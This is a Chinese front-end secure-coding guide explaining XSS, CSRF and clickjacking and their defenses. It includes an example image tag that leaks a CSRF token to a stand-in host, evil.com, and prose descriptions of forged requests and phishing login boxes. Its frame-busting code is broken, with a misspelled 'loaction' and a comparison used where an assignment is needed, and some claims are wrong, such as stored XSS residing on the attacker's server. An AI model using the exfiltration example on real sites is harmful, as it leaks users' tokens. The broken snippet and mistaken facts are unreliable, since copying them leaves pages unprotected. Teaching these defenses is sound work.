前端安全编码规范

# 前言

随着互联网高速的发展，信息安全已经成为企业重点关注焦点之一，而前端又是引发安全问题的高危据点，所以，作为一个前端开发人员，需要了解前端的安全问题，以及如何去预防、修复安全漏洞。下面就以前端可能受到的攻击方式为起点，讲解 web 中可能存在的安全漏洞以及如何去检测这些安全漏洞，如何去防范潜在的恶意攻击。

# 1. 跨站脚本攻击（Cross Sites Script）

跨站脚本攻击，Cross Site Script（简称 CSS 或）。指黑客通过“HTML 注入”篡改了网页，插入了恶意的脚本（主要是 JavaScript 脚本），从而在用户浏览网页时，控制用户浏览器的一种攻击。

了解了什么是 XSS，那你一定想知道，它有什么危害以及如何去防御这里罗列一张列表：

挂马
盗取用户 Cookie。
钓鱼攻击，高级的钓鱼技巧。
删除目标文章、恶意篡改数据、嫁祸。
劫持用户 Web 行为，甚至进一步渗透内网。
爆发 Web2.0 蠕虫。
蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
其它安全问题

常见的跨站脚本攻击也可分为：反射型 XSS、存储型 XSS、DOM Based XSS 下面针对这三种常见的类型做具体的分析

# 1.1 反射型 XSS–也可被称为是 HTML 注入

反射型 XSS，也称为"非持久型 XSS"简单的把用户输入的数据"反射"给浏览器，即黑客往往需要诱使用户"点击"一个恶意链接攻击才能成功，用户通过点击这个恶意链接，攻击者可以成功获取用户隐私数据的一种方式。如：“盗取用户 Cookie 信息”、“破坏页面结构”、“重定向到其他网站”，盗取内网 IP 等。那么既然反射型 XSS 也可以是 HTML 注入，那么它注入的关键自然也就从前端的 HTML 页面开始下手：

用户能够与浏览器页面产生交互动作（输入搜索的关键词，点击按钮，点击链接等等），但这些都需要去诱使用户去操作，说起来容易，做起来难。
用户输入的数据会被攻击方拼接出合适的 html 去执行恶意的 js 脚本，这样的过程就像是"一次反射"

# 1.2 存储型 XSS

存储型 XSS，也称为持久型XSS，它与反射型XSS不同之处在于，它会将用户输入的数据"存储"在攻击方的服务器上，具有很强的"稳定性"。例如：访问某黑客写下的一篇含有恶意 JavaScript 代码的博客文章，黑客把恶意脚本保存到服务端。

# 1.3 DOM based XSS

从效果上来说，也是"反射型 XSS"，单独划分出来，是因为其形成是通过修改页面的"DOM 节点"形成的 XSS。例如：通过修改 DOM 节点上的绑定方法，用户无意间通过点击、输入等行为执行这些方法获取到用户的相关信息

# 1.4 如何去检测是否存在 XSS

一般方法是，用户可以在有关键字输入搜索的地方输入****后点击搜索，若弹框出现展示123，说明存在 XSS 漏洞，这就说明前端并没有对用户输入的内容过滤处理。

# 1.5 XSS 的攻击方式

通过伪装一些图片和按钮等，诱使用户对其操作，使网页执行了攻击者的恶意脚本，使攻击者能够获取当前用户的 Cookie 信息

# 2.构造 GET 和 POST 请求

若某攻击者想删除某网站的一篇文章，首先获得当前文章的 id，然后通过使用脚本插入图片发送一个GET请求，或构造表单，XMLHTTPRequest发送POST请求以达到删除该文章的目的

# 3.XSS 钓鱼

钓鱼这个词一般认识是起源于社会工程学，黑客使用这个这门学科的理念思想，在未授权不知情的情况下诱骗用户，并得到对方对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息。

比如：“某用户在某网站（已被攻击）上操作黑客伪造的一个登录框，当用户在登录框中输入了用户名（这里可能是身份证号等）和密码之后，将其信息上传至黑客的服务器上（该用户的信息就已经从该网站泄漏）”

# 4.获取用户真实的 IP 地址

通过第三方软件获取，比如客户端安装了 Java 环境（JRE），则可通过调用Java Applet的接口获取客户端本地的 IP 地址

# 1.6 XSS 的防御方式

# 1.HttpOnly

原理：浏览器禁止页面的 Javascript 访问带有 HttpOnly 属性的 cookie。（实质解决的是：XSS 后的 cookie 劫持攻击）如今已成为一种“标准”的做法

解决方案： JavaEE 给 Cookie 添加 HttpOnly 的方式为：

response.setHeader('Set-Cookie', 'cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly');

# 2.输入检查（XSS Filter）

原理：让一些基于特殊字符的攻击失效。（常见的Web漏洞如XSS、SQLInjection等，都要求攻击者构造一些特殊字符）
* 输入检查的逻辑，必须在服务端实现，因为客户端的检查也是很容易被攻击者绕过，现有的普遍做法是两端都做同样的检查，客户端的检查可以阻挡大部分误操作的正常用户，从而节约服务器的资源。
解决方案：
检查是否包含"JavaScript"，"<script></script>"等敏感字符。以及对字符串中的<>:"&/'等特殊字符做处理

# 3.输出检查

原理：一般来说除了富文本输出之外，在变量输出到HTML页面时，使用编码或转义的方式来防御XSS攻击
解决方案：
*   针对HTML代码的编码方式：HtmlEncode
*   PHP：htmlentities()和htmlspecialchars()两个函数
*   Javascript：JavascriptEncode（需要使用""对特殊字符进行转义，同时要求输出的变量必须在引号内部）
*   在URL的path（路径）或者search（参数）中输出，使用URLEncode

# 4.更严格的做法

除了数字和字母外的所有字符，都使用十六进制的方式进行编码

# 2. 跨站点请求伪造（Cross Sites Request Forgery）

跨站点请求伪造，指利用用户身份操作用户账户的一种攻击方式，即攻击者诱使用户访问一个页面，就以该用户身份在第三方有害站点中执行了一次操作，泄露了用户的身份信息，接着攻击者就可以使用这个伪造的，但真实存在的身份信息，到某网站冒充用户执行恶意操作。

但是，攻击者只有预测到 URL 的所有参数与参数值，才能成功地伪造一个请求（当然了，他可以在安全站点里以自己的身份实际去操作一下，还是能拿到参数的）；反之，攻击者无法攻击成功

下图通俗解释什么是 CSRF，又是如何给用户带来危害的图片

参考上图，我们可以总结，完成一次 CSRF 攻击，必须满足两个条件

用户登录受信任网站 A，并且在本地生成 Cookie
在不登出网站 A 的情况下，访问有害网站 B

# 2.1 CSRF 的原理

CSRF 攻击是攻击者利用**用户身份**操作用户账户的一种攻击方式

如电影速度与激情 5 中吉赛尔使用内裤获取巴西大佬指纹，最后成功使用伪造指纹的手法打开保险柜，CSRF 只不过是网络上这个手法的实现。

# 2.2 CSRF 的攻击方式

浏览器所持有的策略一般分为两种：
Session Cookie，临时Cookie。保存在浏览器进程的内存中，浏览器关闭了即失效。
Third-party Cookie，本地Cookie。服务器在Set-Cookie时指定了Expire Time。过期了本地Cookie失效，则网站会要求用户重新登录。
* 在浏览网站的过程中，即使浏览器打开了Tab页，Session Cookie都是有效的，因此发起CSRF攻击是可行的。

# 2.P3P 头的副作用

"P3P Header"是 “W3C” 制定的一项关于隐私的标准，全称是 “The Platform for Privacy Preference”（隐私偏好平台）

如果网站返回给浏览器的 HTTP 头包含有 P3P 头，则在某种程度上来说，将允许浏览器发送第三方 Cookie。在 IE 下即使是<iframe>、<script>等标签页将不再拦截第三方 Cookie 的发送。主要应用在类似广告等需要跨域访问的页面。

# 3.GET，POST 请求

* 这里有个误区
大多数 CSRF 攻击，都是通过 `<img>` 、 `<iframe>` 、 `<script>` 等带 src 属性的标签，这类标签只能发送一次 GET 请求，而不能发送 POST 请求，由此也有了认为 CSRF 攻击只能由 GET 请求发起的错误观点。

构造一个 POST 请求，只需要在一个不可见的 iframe 窗口中，构造一个 form 表单，然后使用 JavaScript 自动提交这个表单。那么整个自动提交表单的过程，对于用户来说就是不可见的。

# 2.3 CSRF 的防御方式

# 1.验证码

原理：
CSRF攻击过程中，用户在不知情的情况下构造了网络请求，添加验证码后，强制用户必须与应用进行交互
*  优点：简洁而有效
*  缺点：网站不能给所有的操作都加上验证码

# 2.Referer Check

原理：
* 利用HTTP头中的Referer判断请求来源是否合法
* Referer首部包含了当前请求页面的来源页面的地址，一般情况下Referer的来源页就是发起请求的那个页面，如果是在iframe中发起的请求，那么对应的页面URL就是iframe的src
*  优点：简单易操作（只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查Referer的值就行）
*  缺点：服务器并非什么时候都能取到Referer
        1.很多出于保护用户隐私的考虑，限制了Referer的发送。
        2.比如从HTTPS跳转到HTTP，出于安全的考虑，浏览器不会发送Referer

# 3.使用 Anti CSRF Token

原理：把参数加密，或者使用一些随机数，从而让攻击者无法猜测到参数值，也就无法构造请求的 URL，也就无法发起 CSRF 攻击。

例子（增加token）：
*  比如一个删除操作的URL是：`http://host/path/delete?uesrname=abc&item=123`
*  保持原参数不变，新增一个参数Token，Token值是随机的，不可预测
*  http://host/path/delete?username=abc&item=123&token=[random(seed)]
*  优点：比检查Referer方法更安全，并且不涉及用户隐私
*  缺点：
        加密
        1. 加密后的URL非常难读，对用户非常不友好
        2. 加密的参数每次都在改变，导致用户无法对页面进行搜索
        3. 普通参数也会被加密或哈希，将会给DBA工作带来很大的困扰，因为数据分析常常需要用到参数的明文
        token
        1. 对所有的请求都添加Token比较困难

需要注意的点

Token 需要足够随机，必须用足够安全的随机数生成算法
Token 应该为用户和服务器所共同持有，不能被第三方知晓
Token 可以放在用户的 Session 或者浏览器的 Cookie 中
尽量把 Token 放在表单中，把敏感操作由 GET 改为 POST，以 form 表单的形式提交，可以避免 Token 泄露（比如一个页面：http://host/path/manage?username=abc&token=[random]，在此页面用户需要在这个页面提交表单或者单击“删除”按钮，才能完成删除操作，在这种场景下，如果这个页面包含了一张攻击者能指定地址的图片<img src="http://evil.com/notexist" />，则这个页面地址会作为 HTTP 请求的 Refer 发送到 evil.com (opens new window) 的服务器上，从而导致 Token 泄露）

# 2.4 XSRF

当网站同时存在 XSS 和 CSRF 漏洞时，XSS 可以模拟客户端浏览器执行任意操作，在 XSS 攻击下，攻击者完全可以请求页面后，读取页面内容中的 Token 值，然后再构造出一个合法的请求

# 3. 点击劫持（ClickJacking）

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的 iframe，覆盖在一个网页上，然后诱使用户在网页上进行操作，此时用户将在不知情的情况下点击透明的 iframe 页面。通过调整 iframe 页面的位置，可以诱使用户恰好点击在 iframe 页面的一些功能性按钮上。

比如，程序员小王在访问 A 网页时，点击空白区域，浏览器却意外打开了 xx 新葡京赌场的页面，于是他在 A 网页打开控制台，在空白区域发现了一个透明的 iframe，该 iframe 嵌入了一个第三方网页的 URL

# 3.1 点击劫持防御方式

# 1.X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面能否在`<frame>`、`<iframe>`、`<object>`中展现的标记

有三个可选的值

DENY：浏览器会拒绝当前页面加载任何 frame 页面（即使是相同域名的页面也不允许）
SAMEORIGIN：允许加载 frame 页面，但是 frame 页面的地址只能为同源域名下的页面
ALLOW-FROM：可以加载指定来源的 frame 页面（可以定义 frame 页面的地址）

# 2.禁止 iframe 的嵌套

if (window.top.location !== window.loaction) {
  window.top.location === window.self.location;
}

# 4. 其他安全问题

# 4.1 跨域问题处理

当服务端设置 Access-Control-Allow-Origin 时使用了通配符 *,允许来自任意域的跨域请求，这是极其危险的

# 4.2 postMessage 跨窗口传递信息

postMessage 允许每一个 window（包括当前窗口、弹出窗口、iframes 等）对象往其他的窗口发送文本消息，从而实现跨窗口的消息传递。并且这个功能不受同源策略限制。

必要时，在接受窗口验证 Domain，甚至验证 URL，以防止来自非法页面的消息。实际上是在代码上实现一次同源策略的验证过程。接受窗口对接口的信息进行安全检查。

# 4.3 Web Storage

Web Storage 分为 Session Storage 和 Local Storage。

虽然受同源策略的约束，但当存有敏感信息时，也可能会成为攻击的目标。

# 5. 总结

谨慎用户输入信息，进行输入检查（客户端和服务端同时检查）
在变量输出到 HTML 页面时，都应该进行编码或转义来预防 XSS 攻击
该用验证码的时候一定要添上
尽量在重要请求上添加 Token 参数，注意 Token 要足够随机，用足够安全的随机数生成算法

# 6. 参考文献

十大常见 web 漏洞及防范
hyddd
CSRF 攻击与防御
浅谈前端安全
前端安全

前端安全编码规范 (opens new window)

前端安全编码规范

目录

# 前言

# 1. 跨站脚本攻击（Cross Sites Script）

# 1.1 反射型 XSS–也可被称为是 HTML 注入

# 1.2 存储型 XSS

# 1.3 DOM based XSS

# 1.4 如何去检测是否存在 XSS

# 1.5 XSS 的攻击方式

# 2.构造 GET 和 POST 请求

# 3.XSS 钓鱼

# 4.获取用户真实的 IP 地址

# 1.6 XSS 的防御方式

# 1.HttpOnly

# 2.输入检查（XSS Filter）

# 3.输出检查

# 4.更严格的做法

# 2. 跨站点请求伪造（Cross Sites Request Forgery）

# 2.1 CSRF 的原理

# 2.2 CSRF 的攻击方式

# 2.P3P 头的副作用

# 3.GET，POST 请求

# 2.3 CSRF 的防御方式

# 1.验证码

# 2.Referer Check

# 3.使用 Anti CSRF Token

# 2.4 XSRF

# 3. 点击劫持（ClickJacking）

# 3.1 点击劫持防御方式

# 1.X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面能否在`<frame>`、`<iframe>`、`<object>`中展现的标记

# 2.禁止 iframe 的嵌套

# 4. 其他安全问题

# 4.1 跨域问题处理

# 4.2 postMessage 跨窗口传递信息

# 4.3 Web Storage

# 5. 总结

# 6. 参考文献

浮动目录

目录

# 前言

# 1. 跨站脚本攻击（Cross Sites Script）

# 1.1 反射型 XSS–也可被称为是 HTML 注入

# 1.2 存储型 XSS

# 1.3 DOM based XSS

# 1.4 如何去检测是否存在 XSS

# 1.5 XSS 的攻击方式

# 1.Cookie 劫持

# 2.构造 GET 和 POST 请求

# 3.XSS 钓鱼

# 4.获取用户真实的 IP 地址

# 1.6 XSS 的防御方式

# 1.HttpOnly

# 2.输入检查（XSS Filter）

# 3.输出检查

# 4.更严格的做法

# 2. 跨站点请求伪造（Cross Sites Request Forgery）

# 2.1 CSRF 的原理

# 2.2 CSRF 的攻击方式

# 1.浏览器的 Cookie 策略

# 2.P3P 头的副作用

# 3.GET，POST 请求

# 2.3 CSRF 的防御方式

# 1.验证码

# 2.Referer Check

# 3.使用 Anti CSRF Token

# 2.4 XSRF

# 3. 点击劫持（ClickJacking）

# 3.1 点击劫持防御方式

# 1.X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面能否在<frame>、<iframe>、<object>中展现的标记

# 2.禁止 iframe 的嵌套

# 4. 其他安全问题

# 4.1 跨域问题处理

# 4.2 postMessage 跨窗口传递信息

# 4.3 Web Storage

# 5. 总结

# 6. 参考文献

浮动目录

在收件箱接收新的内容推送

# 1.X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面能否在`<frame>`、`<iframe>`、`<object>`中展现的标记